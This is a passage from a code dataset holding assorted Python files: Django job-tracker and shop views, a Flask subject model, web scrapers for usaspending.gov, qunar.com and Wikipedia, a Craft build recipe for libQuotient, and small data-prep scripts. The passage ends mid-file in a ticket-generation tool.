BUCKET, key)\n                url = f\"{S3_BASE_URL}{BUCKET}/{key}\"\n                form.instance.resume = url\n                form.instance.resumekey = key                \n            except Exception as e:\n                print(e)\n                print('Sorry, an error occurred uploading the file to AWS S3')\n        return super().form_valid(form)\n\nclass ApplicationUpdate(LoginRequiredMixin, UpdateView):\n    model = Application\n    form_class = ApplicationForm\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        resume_file = self.request.FILES.get('resume-file', None)\n\n        if resume_file:\n            #switch sessions to profile if running on local host\n            #session = boto3.Session(profile_name='jobbly')\n            session = boto3.Session()\n            jobbly_s3 = session.client('s3')\n            key = uuid.uuid4().hex[:6] + resume_file.name[resume_file.name.rfind('.'):]\n            try:\n                jobbly_s3.upload_fileobj(resume_file, BUCKET, key)\n                url = f\"{S3_BASE_URL}{BUCKET}/{key}\"\n\n                if self.object.resumekey:\n                    jobbly_s3.delete_object(Bucket=BUCKET, Key=self.object.resumekey)\n                form.instance.resume = url\n                form.instance.resumekey = key\n            except Exception as e:\n                print(e)\n                print('Sorry, an error occurred uploading the file to AWS S3')\n        return super().form_valid(form)\n\n    def remove_resume(request, application_id):\n        application = Application.objects.get(id=application_id)\n        #switch sessions to profile if running on local host\n        #session = boto3.Session(profile_name='jobbly')\n        session = boto3.Session()\n        jobbly_s3 = session.client('s3')\n        try:\n            jobbly_s3.delete_object(Bucket=BUCKET, Key=application.resumekey)\n        except Exception as e:\n            print(e)\n        return redirect('applications_update', pk=application_id)\n\nclass ApplicationDelete(LoginRequiredMixin, DeleteView):\n    model = Application\n    fields = ['jobtitle', 'company', 'joblisting', 'resume', 'applied', 'applicationDate', 'dueDate', 'notes']\n    success_url = '/applications/'\n\n    def delete(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if (self.object.resume):\n            application = Application.objects.get(id=self.object.id)\n            #switch sessions to profile if running on local host\n            #session = boto3.Session(profile_name='jobbly')\n            session = boto3.Session()\n            jobbly_s3 = session.client('s3')\n            try:\n                jobbly_s3.delete_object(Bucket=BUCKET, Key=application.resumekey)\n            except Exception as e:\n                print(e)\n        success_url = self.get_success_url()\n        self.object.delete()\n        return HttpResponseRedirect(success_url)\n\n@login_required\ndef add_landmark(request, application_id):\n    print('add landmark route')\n    form = LandmarkForm(request.POST)\n    if form.is_valid():\n        print('is valid')\n        new_landmark = form.save(commit=False)\n        new_landmark.application_id = application_id\n        new_landmark.save()\n    return redirect('applications_detail', application_id = application_id)\n\nclass LandmarkUpdate(LoginRequiredMixin, UpdateView): \n    model = Landmark\n    form_class = LandmarkForm\n\n    def get_success_url(self):\n        return reverse('applications_detail', kwargs={'application_id': self.object.application_id})\n\nclass LandmarkDelete(LoginRequiredMixin, DeleteView):\n    model = Landmark\n    form_class = LandmarkForm\n    def get_success_url(self):\n        return reverse('applications_detail', kwargs={'application_id': self.object.application_id})\n\ndef assoc_landmark(request, application_id, landmark_id):\n    Application.objects.get(id=application_id).landmark.add(landmark_id)\n    return redirect('application', application_id=application_id)\n\ndef unassoc_landmark(request, application_id, landmark_id):\n    Application.objects.get(id=application_id).landmarks.remove(landmark_id)\n    return redirect('detail', application_id=application_id)\n","sub_path":"job_tracker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"248897332","text":"'''\nValidationScraper\nAuthor: David Koch\nLast Edit: 2015-03-26\nDescription: This script automates the process of retrieving the total spend amount for certain government contracts between 2010 and 2014.\n\t     The script requires a file with the .csv (Comma Separated Value) format which contains the headers 'CRM ci_name', 'USA Spend', 'Orders Loaded to CRM', and 'Spend Loaded to CRM'.\n\t     The script will use the data in the file to retrieve a web page, scrape the required value from the page, and write the required value to a NEW file.\n'''\n\nfrom lxml import html\nimport requests\nimport random\n\n\n#initialize all ariables\nmy_path = '' #path to .csv file being validated\nmy_folder = '' #folder containing .csv file being validated\nmy_file_name = '' #name of the file being validated\nmy_path_break_point = 0 #index in my_path string of first letter of my_path_file_name\nnew_file_name = 'SCRAPED_' #name of output file\nnew_path = '' #path to output file\ndata = [] #contains file data\nR_COLUMN_HEADER = 'CRM ci_name' #Read column header, used to find input column\nW_COLUMN_HEADER = 'USA Spend' #Write column header, used to find output column\nORDERS_COLUMN_HEADER = 'Orders Loaded to CRM' #Used to fined Orders column for validation\nSPEND_COLUMN_HEADER = 'Spend Loaded to CRM' #Used to fined spend column for validation\nr_column = 0 #Read column, stores index of input column\nw_column = 0 #Write column, stores index of output column\norders_column = 0 #Stores index of orders column for validation\nspend_column = 0 #Stores index of spend column for validation\nORDER_SPEND_READY = 'Ready To Test' #Target value for orders and spend columns\nnum_records = 0 #number of lines in the file\nTARGET_TEST_RATE = 20 #Program aims to test 20% of the records in the file\ntarget_test_number = 0 #Number of records to be tested\nnum_records_tested = 0 #Tracks the number of records that have been tested\n\n#prompt user for the path for the .csv file they want to use until a valid file is provided\nwhile my_path[-4:].lower() != '.csv':\n\tmy_path = input('Enter the path to the .csv file with the data you are validating: ')\n\tif(my_path[-4:] != '.csv'):\n\t\tprint('Indicated file is not a .csv file. Please format the file as a .csv (Comma Separated Value) file to continue.')\n\n\n#open file in read mode, read to data list\nprint('Opening file...')\nwith open(my_path, \"r\") as my_file:\n\tprint('Done.')\n\n\t#break contents of my_file into data list\n\tprint('Reading file into lists...')\n\tdata=[line.split(',') for line in my_file]\n\tprint('Done. Closing file.')\n\n#determine file length\nprint('Determining number of records...')\nnum_records = len(data) - 1 #First line contains the file headers\nprint('Done. '+str(num_records)+' records found.')\n\n#determine target number of records to be tested\nprint('Determining number of records to test...')\ntarget_test_number = (num_records * TARGET_TEST_RATE)//100\nprint('Done. Program will test '+str(target_test_number)+' records.')\n\n#use first line to determine which columns neet to be read from/written to\nfor i in range(len(data[0])):\n\tif data[0][i] == R_COLUMN_HEADER:\n\t\tr_column = i\n\telif data[0][i] == W_COLUMN_HEADER:\n\t\tw_column = i\n\telif data[0][i] == ORDERS_COLUMN_HEADER:\n\t\torders_column = i\n\telif data[0][i] == SPEND_COLUMN_HEADER:\n\t\tspend_column = i\n\n#loop through data lines, grab contract name, put into web page, scrape\nwhile num_records_tested < target_test_number:\n\tfor i in range(1,len(data)):\n\t\tcontract = data[i][r_column]\n\t\tif random.random() <= TARGET_TEST_RATE/100.0:\n\t\t\tif (data[i][orders_column] == ORDER_SPEND_READY) and (data[i][spend_column] == ORDER_SPEND_READY):\n\t\t\t\tprint('Processing ' + contract +'...')\n\t\t\t\tpage = requests.get('http://www.usaspending.gov/search?form_fields=%7B%22search_term%22%3A%22' + contract + '%22%2C%22fyear%22%3A%5B%222010%22%2C%222011%22%2C%222012%22%2C%222013%22%2C%222014%22%5D%7D&sort_by=dollars&per_page=25')\n\t\t\t\ttree = html.fromstring(page.text)\n\t\t\t\ttotal_dollars = tree.xpath('string(//*[@id=\"node-35\"]/div[2]/div[4]/div[3]/div[1]/em)')\n\t\t\t\tdata[i][w_column] = int(total_dollars[1:].replace(',',''))\n\t\t\t\tprint('Done. Total Dollars for '+contract+': '+total_dollars)\n\t\t\t\tnum_records_tested += 1\n\t\t\telse:\n\t\t\t\tprint('Skipping ' + contract +'. Record not ready.')\n\t\telse:\n\t\t\tprint('Skipping ' + contract + '. Roll Failed.')\n\t\tif num_records_tested >= target_test_number:\n\t\t\tbreak\n\n#Create path to output file named SCRAPPED_[original_file_name]\n#search my_path variable for the last division of the path\nprint('Finding path break point...')\nfor char in range(len(my_path)):\n\tif my_path[char] == '\\\\': #Windows uses the backslash to indicate a directory change in file paths\n\t\tmy_path_break_point = char + 1 #sets the break point to the character after the directory deliminator '\\'\nprint('Done. Path breaks at '+str(my_path_break_point))\n\n#divide my_path into my_folder and my_file_name\nprint('Determining folder name...')\nmy_folder = my_path[:my_path_break_point]\nprint('Done. Folder name: '+my_folder)\nprint('Determining file name...')\nmy_file_name = my_path[my_path_break_point:]\nprint('Done. File name: '+my_file_name)\n\n#create new file name from my_file_name\nprint('Generating new file name...')\nnew_file_name += my_file_name\nprint('Done. New file name: '+new_file_name)\n\n#create new path from my_folder and new_file_name\nprint('Generating new path...')\nnew_path = my_folder + new_file_name\nprint('Done. New path: '+new_path)\n\n#open new file and write contents of data to it\nprint('Creating new file...')\nwith open(new_path, \"w\") as new_file:\n\tprint('Done.')\n\n\tprint('Writing data to new file...')\n\tfor line in data:\n\t\tfor element in line:\n\t\t\tnew_file.write(str(element))\n\t\t\tif '\\n' not in str(element):\n\t\t\t\tnew_file.write(',') #Add a comma only if element does not contain a newline character\n\tprint('Done.')\n\n#print final message\nprint('File has been processed. Check the file directory for the output file: '+new_file_name)\n","sub_path":"ValidationScraper.py","file_name":"ValidationScraper.py","file_ext":"py","file_size_in_byte":5907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"129765565","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nfrom lxml import etree\nimport json\nimport os\nfrom quna.items import QunaItem\nrr = 0\nii = 0\noo = 0\n\nclass QuspiderSpider(scrapy.Spider):\n    name = 'quspider'\n    allowed_domains = ['qunar.com']\n\n    start_urls = ['https://tuan.qunar.com/vc/index.php?category=all_r&limit=0%2C30','https://tuan.qunar.com/vc/index.php?category=all_i&limit=0%2C30','https://tuan.qunar.com/vc/index.php?category=all_o&limit=0%2C30']\n\n    def parse(self, response):\n        item = QunaItem()\n        #print(response.url[49:50])\n        #print(response.text)\n\n        zz = re.compile(r'<script>(.*?)</script>',re.S)\n\n        html = re.findall(zz,response.text)[6][11:-2]\n        html = json.loads(html)['html'][1:]\n        html = etree.HTML(html)\n\n        title = html.xpath('//div[@class=\"nm\"]/@title')\n        types = html.xpath('//div[@class=\"type_gt\"]/text()')\n        sm = html.xpath('//div[@class=\"sm\"]/@title')\n        price = html.xpath('//span[@class=\"cash\"]/em/text()')\n        date = html.xpath('//span[@class=\"time png24 tuan-date\"]/text()')\n        renshu = html.xpath('//span[@class=\"buy png24\"]/text()')\n        img = html.xpath('//div[@class=\"imgs loading\"]/img/@data-lazy')\n        coll = 'zzh' + response.url[49:50]\n        if title == []:\n            pass\n\n        for i in title:\n            sy = title.index(i)\n            item['title'] = i\n            item['types'] = types[int(sy)]\n            item['sm'] = sm[int(sy)]\n            item['price'] = price[int(sy)]\n            item['date'] = date[int(sy)]\n            item['renshu'] = renshu[int(sy)]\n            item['img'] = img[int(sy)]\n            item['coll'] = coll\n            yield item\n        url_type = re.findall('.*?category=(.*?_.?)', response.url)[0]\n        url_page = int(re.findall('.*?limit=(\\d+).*?', response.url)[0]) + 30\n        url = 'https://tuan.qunar.com/vc/index.php?category=%s&limit=%d,30' % (url_type,url_page)\n        yield scrapy.Request(url,callback=self.parse)\n\n\n\n\n\n","sub_path":"爬虫10/爬虫/quna/build/lib/quna/spiders/quspider.py","file_name":"quspider.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"285777516","text":"import random\n\n\ndef roll_dice():\n    sums: int = 0  # will return the sum of the roll calls.\n    while True:\n        roll = random.randint(1, 6)\n        sums += roll\n        if(input(\"Enter y or n to continue : \").upper()) == 'N':\n            print(sums)      # prints the sum of the roll calls\n            break\n\n\nroll_dice()\n","sub_path":"extras/sum_roll_dice.py","file_name":"sum_roll_dice.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"720963","text":"# -*- coding:utf-8 -*-\n\nfrom django.shortcuts import render\nfrom models import *\nfrom django.core.paginator import Paginator\n\n# Create your views here.\n\n\ndef index(request):\n\n    # 查询每个分类中最新的4个商品\n    # 查询每个分类中最火的4个商品\n\n    list_type = TypeInfo.objects.all()\n    list_good = []\n    for g_t in list_type:\n        g_h = g_t.goodsinfo_set.order_by('-id')[0:4]\n        g_n = g_t.goodsinfo_set.order_by('-id')[0:4]\n        list_good.append({'t_type': g_t, 'g_hot': g_h, 'g_new': g_n})\n\n    context = {'head': '首页', 'goods': list_good}\n\n    return render(request, 'goods_part/index.html', context)\n\n\ndef goods_list(request, t_id, pIndex):\n\n    obj = request.GET\n    flag = int(obj.get('flag', '1'))\n    sort = int(obj.get('sort', '1'))\n    desc = int(obj.get('desc', '1'))\n\n    g_type = TypeInfo.objects.get(id=t_id)\n    list_h_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('-g_click')[0:2]\n    # print '---flag:%d-----sort:%d-----desc:%d---' % (flag, sort, desc)\n\n    if sort == 1:\n        if desc == 1:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('-id')\n            if flag:\n                desc = 0\n        elif desc == 0:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('id')\n            if flag:\n                desc = 1\n    elif sort == 2:\n        if desc == 1:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('-g_price')\n            if flag:\n                desc = 0\n        elif desc == 0:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('g_price')\n            if flag:\n                desc = 1\n    elif sort == 3:\n        if desc == 1:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('-g_click')\n            if flag:\n                desc = 0\n        elif desc == 0:\n            list_goods = GoodsInfo.objects.filter(g_type__id=t_id).order_by('g_click')\n            if flag:\n                desc = 1\n\n    pIndex = int(pIndex)\n    p = Paginator(list_goods, 5)\n    list_goods_page = p.page(pIndex)\n    page_num = p.num_pages\n\n    if page_num < 5:\n        list_page = p.page_range\n    elif pIndex <= 2:  # 第1、2页\n        list_page = range(1, 6)\n    elif pIndex >= page_num - 1:  # 倒数第1、2页 6 7 8 9 10\n        list_page = range(p.num_pages - 4, p.num_pages + 1)\n    else:  # 3 4 5 6 7\n        list_page = range(pIndex - 2, pIndex + 3)\n\n    context = {'head': '商品列表', 'g_t': g_type, 'h_goods': list_h_goods, 'n_goods': list_goods_page,\n               'list_page': list_page, 'page': pIndex, 'page_num': page_num, 'sort': sort, 'desc': desc}\n    return render(request, 'goods_part/list.html', context)\n\n\ndef goods_info(request, goods_id):\n\n    goods = GoodsInfo.objects.filter(id=int(goods_id))\n    obj_goods = goods[0]\n    g_clicks = obj_goods.g_click\n    obj_goods.g_click = g_clicks + 1\n    obj_goods.save()\n    list_h_goods = GoodsInfo.objects.filter(g_type__t_title=obj_goods.g_type).order_by('-g_click')[0:2]\n\n    context = {'head': '商品详情', 'g_t': obj_goods.g_type, 'h_goods': list_h_goods, 'goods': obj_goods}\n\n    return render(request, 'goods_part/detail.html', context)\n","sub_path":"DailyFresh/goods_part/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"308704552","text":"from app.api.create_app import db \nfrom app.api.db_model import *\nfrom app.api.tutor.subject.serializer import SubjectSchema\nfrom app.api.error import error\nfrom flask import jsonify\n\nfrom app.api.config.config import Config\n\nTIME = Config.time()\nerr = error.Error\n\nclass SubjectProcess:\n\n\tdef getSubjects(self):\n\t\tsubjects = Subject.query.filter_by(status=True).all()\n\t\tif subjects :\n\t\t\tresult = SubjectSchema(many=True).dump(subjects)\n\t\t\treturn jsonify(result)\n\n\t\tif not subjects:\n\t\t\treturn err.requestFailed(\"no subjects available\")\n\n\tdef createSubject(self, payload, tutor_uuid):\n\t\tget_tutor = Tutor.query.filter_by(tutor_uuid=tutor_uuid, status_login=True,is_working=True, \\\n\t\t\tactivation=True).first()\n\t\tget_subject = Subject.query.filter_by(subject_name=payload['subject_name']).first()\n\t\t\n\t\tif get_tutor:\n\t\t\tif not get_subject:\n\t\t\t\tnew_subject = Subject(subject_name=payload['subject_name'], price=payload['price'], \\\n\t\t\t\t\tdescription=payload['description'], owner=get_tutor)\n\t\t\t\tnew_subject.created_at = TIME\n\t\t\t\tdb.session.add(new_subject)\n\t\t\t\tdb.session.commit()\n\t\t\t\treturn err.requestSuccess(\"register subject success\")\n\t\t\telse:\n\t\t\t\treturn err.requestFailed(\"the subject already existed\")\n\t\t\n\t\tif not get_tutor:\n\t\t\treturn err.requestFailed(\"tutor not found\")\n\n\tdef updateSubject(self, payload, tutor_uuid, subject_uuid):\n\t\tget_tutor = Tutor.query.filter_by(tutor_uuid=tutor_uuid, status_login=True, is_working=True, \\\n\t\t\tactivation=True).first()\n\t\tget_subject = Subject.query.filter_by(subject_uuid=subject_uuid, status=True).first()\n\n\t\tif get_tutor:\n\t\t\tif get_subject:\n\t\t\t\tget_subject.subject_name=payload['subject_name']\n\t\t\t\tget_subject.price = payload ['price']\n\t\t\t\tget_subject.description\t= payload['description']\n\t\t\t\tget_subject.updated_at = TIME\n\t\t\t\tdb.session.commit()\n\t\t\t\treturn err.requestSuccess(\"update Subject success\")\n\t\t\tif not get_subject:\n\t\t\t\treturn err.requestFailed(\"that subject not existed\")\n\n\t\tif not get_tutor:\n\t\t\treturn err.badRequest(\"can not update\")\n\n\tdef unactivateSubject(self, subject_uuid):\n\t\tget_subject = Subject.query.filter_by(subject_uuid=subject_uuid, status=True).first()\n\t\tif get_subject :\n\t\t\tget_subject.status = False\n\t\t\tdb.session.commit()\n\t\t\treturn err.requestSuccess(\"unactivate subject success\")\n\t\tif not get_subject :\n\t\t\treturn err.requestFailed(\"no subject can be unactivated\")\n\n\tdef reactivateSubject(self, subject_uuid):\n\t\tget_subject = Subject.query.filter_by(subject_uuid=subject_uuid, status=False).first()\n\t\tif get_subject :\n\t\t\tif get_subject.status == True:\n\t\t\t\treturn err.requestFailed(\"subject already active\")\n\t\t\telse:\n\t\t\t\tget_subject.status = True\n\t\t\t\tdb.session.commit()\n\t\t\t\treturn err.requestSuccess(\"reactivate subject has succeed\")\n\t\t\n\t\tif not get_subject:\n\t\t\treturn err.badRequest(\"subject is not available\")\n\n\tdef searchSubjectByName(self, payload):\n\t\tsubjects = Subject.query.all()\n\t\tresult = []\n\t\tfor subject in subjects :\n\t\t\tif payload['name'] in subject.name_subject:\n\t\t\t\tget_subjects = SubjectSchema().dump(subject)\n\t\t\t\tresult.append(get_subjects)\n\t\tif result:\n\t\t\treturn result\n\n\t\treturn err.badRequest(\"No subject detected\")\n","sub_path":"app/api/tutor/subject/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"45887584","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 30 16:07:44 2016\n\n@author: ruben\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom pasta.read.dinodata import DinoGrondwaterstand\n\n# %% hoe te gebruiken?\nfname = '../data/B32D0136001_1.csv'\ndino = DinoGrondwaterstand(fname)\n\n# %% teken\nplt.figure()\ndino.stand.plot()\nplt.show()\n","sub_path":"examples/imports/test_dinodata.py","file_name":"test_dinodata.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"325794778","text":"import info\nfrom Package.CMakePackageBase import *\n\n\nclass subinfo(info.infoclass):\n    def setTargets(self):\n        self.svnTargets[\"master\"] = \"https://github.com/quotient-im/libQuotient.git||dev\"\n\n        for ver in [\"0.8.0\"]:\n            self.targets[ver] = \"https://github.com/quotient-im/libQuotient/archive/%s.tar.gz\" % ver\n            self.archiveNames[ver] = \"libQuotient-%s.tar.gz\" % ver\n            self.targetInstSrc[ver] = \"libQuotient-%s\" % ver\n\n        self.targetDigests[\"0.8.0\"] = ([\"40d84c2a1ed8c57605836dd175aabd069aed33c77b6bd841391631607b8c3a76\"], CraftHash.HashAlgorithm.SHA256)\n        self.patchToApply[\"0.8.0\"] = [\n            (\"0002-Add-missing-include-in-qt-connection-util-h-for-Qt6.patch\", 1),\n            (\"0003-Fix-dependency-finding-in-CMake-config-file.patch\", 1),\n            (\"0004-Fix-generating-invalid-CMake-config-file-with-unset-BUILD_SHARED_LIBS.patch\", 1),\n        ]\n\n        self.defaultTarget = \"0.8.0\"\n        self.description = \"A Qt library to write cross-platform clients for Matrix\"\n\n    def setDependencies(self):\n        self.runtimeDependencies[\"virtual/base\"] = None\n        self.runtimeDependencies[\"libs/qt/qtbase\"] = None\n        if CraftPackageObject.get(\"libs/qt\").instance.subinfo.options.dynamic.qtMajorVersion == \"5\":\n            # Yes, this is correct :-) QtMultimedia is only a dependency with Qt5 for libQuotient\n            # See https://github.com/quotient-im/libQuotient/issues/483\n            self.runtimeDependencies[\"libs/qt5/qtmultimedia\"] = None\n\n        self.runtimeDependencies[\"qt-libs/qtkeychain\"] = None\n        self.runtimeDependencies[\"libs/olm\"] = None\n\n\nclass Package(CMakePackageBase):\n    def __init__(self, **args):\n        CMakePackageBase.__init__(self)\n        # LINK : fatal error LNK1104: cannot open file 'Quotient.lib\n        # And fixes crash on android\n        self.subinfo.options.dynamic.buildStatic = True\n        self.subinfo.options.configure.args = \"-DQuotient_ENABLE_E2EE=ON\"\n        if CraftPackageObject.get(\"libs/qt\").instance.subinfo.options.dynamic.qtMajorVersion == \"6\":\n            self.subinfo.options.configure.args = \"-DBUILD_WITH_QT6=1\"\n","sub_path":"qt-libs/libquotient/libquotient.py","file_name":"libquotient.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"302687503","text":"import gidgethub.routing\n\nrouter = gidgethub.routing.Router()\n\n\n@router.register(\"pull_request\", action=\"closed\")\nasync def delete_branch(event, gh, *args, **kwargs):\n    \"\"\"\n    Delete the branch once miss-islington's PR is closed.\n    \"\"\"\n    if event.data[\"pull_request\"][\"user\"][\"login\"] == \"miss-islington\":\n        branch_name = event.data[\"pull_request\"][\"head\"][\"ref\"]\n        url = f\"/repos/miss-islington/cpython/git/refs/heads/{branch_name}\"\n        await gh.delete(url)\n","sub_path":"miss_islington/delete_branch.py","file_name":"delete_branch.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"175292837","text":"# Scrapes the wikipedia for the name of every single athlete in the database and fetches the image and DOB\n\nimport mechanize\nfrom bs4 import BeautifulSoup\nimport csv\nimport time\n\nf = open('D:\\SCMP\\CIS550-Database and Info systems\\Project\\Athlete list.csv')\ncsv_f=csv.reader (f)\n\n\nAthletes_bio=[]\ncount=0;\nfor row in csv_f:\n    Athlete_bio = []\n    count+=1\n    F_name=row[2].title().replace (\" \", \"_\")\n    L_name = row[1].title().replace(\" \", \"_\")\n    Athlete_name=F_name+'_'+L_name\n    link=\"https://en.wikipedia.org/wiki/\"+Athlete_name\n    br = mechanize.Browser()\n    try:\n        res = br.open(link)\n    except (mechanize.HTTPError, mechanize.URLError) as e:\n        Athlete_bio.append(e)\n        continue\n    result=res.read()\n    soup=BeautifulSoup(result,\"html.parser\");\n    # info=soup.find_all(\"img\",class_=\"infobox vcard\")\n    # table = soup.find(\"table\", { \"class\" : \"wikitable sortable\" })\n    tab = soup.find(\"table\", {\"class\": \"infobox vcard\"})\n    if tab:\n        Athlete_bio.append(row[1])\n        Athlete_bio.append(row[2])\n        rows = tab.findAll(\"tr\");\n        img=\"\"\n        dob=\"\"\n        for i in range(min(10,len(rows))):\n            cells= rows[i].findAll(\"td\")\n            if len(cells):\n                if cells[0].img:\n                    if cells[0].img.has_attr(\"src\") and (not img):\n                       img=(cells[0].img.get(\"src\")).encode('utf-8')\n                if (cells[0].find(\"span\", {\"class\": \"bday\"})):\n                    dob=cells[0].find(\"span\", {\"class\": \"bday\"}).string.encode('utf-8')\n                if (cells[0].find({\"class\": \"nickname\"})):\n                    nickname=cells[0].find({\"class\": \"nickname\"}).string.encode('utf-8')\n        Athlete_bio.append(img)\n        Athlete_bio.append(dob)\n        out = open(\"D:\\SCMP\\CIS550-Database and Info systems\\Project\\Athletes_biodb.csv\", 'ab')\n        mywriter = csv.writer(out)\n        mywriter.writerow(Athlete_bio)\n        out.close()\n        Athletes_bio.append(Athlete_bio)\n        time.sleep(1)","sub_path":"scripts/Scrapper.py","file_name":"Scrapper.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"646831124","text":"# Prep iris database script for ingesting, cleaning and preparing the iris database for exploration.\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\ndef prep_iris(x): \n    x.rename(columns = {'species_name': 'species'}, inplace=True)\n    x = x.drop(columns = ['species_id', 'measurement_id'])\n    dummy_df = pd.get_dummies(x['species'], dummy_na=False)\n    x = pd.concat([x, dummy_df], axis=1)\n    return x\n\n\n\ndef prep_titanic_data(titanic_data):\n    # Importing the libraries I'll need for this function.\n    from sklearn.impute import SimpleImputer\n    import warnings\n    warnings.filterwarnings(\"ignore\")\n    \n    # Handling the missing data\n    titanic_data = titanic_data[~titanic_data.embark_town.isnull()]\n    # Removing the 'deck' column    \n    titanic_data = titanic_data.drop(columns = 'deck')\n    # Creating dummy variables\n    dummy_titanic_df = pd.get_dummies(titanic_data['embarked'], dummy_na = False)\n    titanic_data = pd.concat([titanic_data, dummy_titanic_df], axis=1)\n    \n    # Using the impute method to fill the missing values in the age column\n    imputer = SimpleImputer(strategy = 'most_frequent')\n    imputer.fit(titanic_data[['age']])\n    titanic_data[['age']] = imputer.transform(titanic_data[['age']])\n    return titanic_data\n\n# Prep file for mall data:\n\ndef prep_mall_data(df):\n    from sklearn.model_selection import train_test_split\n    '''\n    Takes the acquired data, does data prep, and returns\n    train, test, and validate data splits\n    '''\n    df['is_female'] = (df.gender == 'Female').astype(int)\n    train_validate, test = train_test_split(df, test_size = .15, random_state = 123)\n    train, validate = train_test_split(train_validate, test_size = .15, random_state = 123)\n    return train, validate, test\n    print('imported mall prep function successfully')\n\nprint('Imported prepare.py successfully')\n'End of file'","sub_path":"prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"77749374","text":"ceiling = int(input())  # ceiling of internet\nN = int(input())  # N == Months\nexpend = []  # list for record spend internet\nsave = 0\nfor i in range(N):\n    expend.append(int(input()))\nfor i in expend:\n    save = (save + ceiling) - i\ntotal = save + ceiling\nprint(total)\n","sub_path":"Trafia.py","file_name":"Trafia.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"340624830","text":"#! /usr/bin/env python3\n\nimport argparse\nimport configparser\nimport csv\nimport jinja2\nimport os.path\nimport re\nimport sys\n#import zeep\nfrom tickeos_ticket_tool.ticket import Ticket\nfrom tickeos_ticket_tool.reader import OSMFReader, HOTReader\n\ndef setup_soap(wsdl_url):\n    return zeep.Client(wsdl_url)\n\ndef escape_tex(value, linebreaks=False):\n    \"\"\"Define Jinja2 Environment with LaTeX escaping\"\"\"\n    latex_subs = [\n        (re.compile(r'\\\\'), r'\\\\textbackslash'),\n        (re.compile(r'([{}_#%&$])'), r'\\\\\\1'),\n        (re.compile(r'~'), r'\\~{}'),\n        (re.compile(r'\\^'), r'\\^{}'),\n        (re.compile(r'\"'), r\"''\"),\n    ]\n    if linebreaks:\n        latex_subs.append((re.compile(r'\\n'), r'\\\\\\\\'))\n\n    result = str(value)\n    for pattern, replacement in latex_subs:\n        result = pattern.sub(replacement, result)\n    return result\n\nparser = argparse.ArgumentParser(description=\"Retrieve combotickets from the TICKeos API\")\nparser.add_argument(\"-c\", \"--config\", type=argparse.FileType(\"r\"), help=\"configuration file path\", required=True)\nparser.add_argument(\"-i\", \"--input-type\", type=str, help=\"input file structure ('hot' or 'osmf')\", required=True)\nparser.add_argument(\"input_file\", type=argparse.FileType(\"r\"), help=\"input CSV file\")\nparser.add_argument(\"output_directory\", type=str, help=\"path to output directory\")\nparser.add_argument(\"csv_output_file\", type=argparse.FileType(\"w\"), help=\"output CSV file for email script\")\nargs = parser.parse_args()\n\nconfig = configparser.ConfigParser()\nconfig.read_file(args.config)\n\nreader = None\nif args.input_type == \"hot\":\n    reader = HOTReader(args.input_file)\nelif args.input_type == \"osmf\":\n    reader = OSMFReader(args.input_file)\nif not reader:\n    sys.stderr.write(\"Input type {} not supported.\\n\".format(args.input_type))\n    exit(1)\n\nticket_orders = reader.get_orders()\n#api_params = {\n#    \"auth_token\": config[\"tickeos\"][\"authToken\"],\n#    \"system_id\": config[\"tickeos\"][\"systemID\"],\n#    \"organiser_id\": config[\"tickeos\"][\"organizerID\"],\n#    \"event_id\": config[\"tickeos\"][\"eventID\"],\n#    # date format: 2002-10-10T12:00:00+02:00\n#    \"start_date\": config[\"tickeos\"][\"startDate\"],\n#    \"end_date\": config[\"tickeos\"][\"endDate\"]\n#}\n#sys.stderr.write(\"retrieving tickets\\n\")\n#templates_directory = os.path.dirname(os.path.abspath(config[\"output\"][\"template\"]))\n#env = jinja2.Environment(\n#    loader=jinja2.FileSystemLoader(templates_directory),\n#    #autoescape=False,\n#    block_start_string='((%',\n#    block_end_string='%))',\n#    variable_start_string='(((',\n#    variable_end_string=')))',\n#    comment_start_string='((#',\n#    comment_end_string='#))',\n#    undefined=jinja2.StrictUndefined\n#)\n#env.filters['e'] = escape_tex\n#tex_template = os.path.basename(config[\"output\"][\"template\"])\n#template = env.get_template(tex_template)\n#png_directory = config[\"temp\"][\"png_directory\"]\n#soap_client = setup_soap(config[\"tickeos\"][\"wsdl_url\"]\n#out_writer = csv.DictWriter(args.csv_output_file, 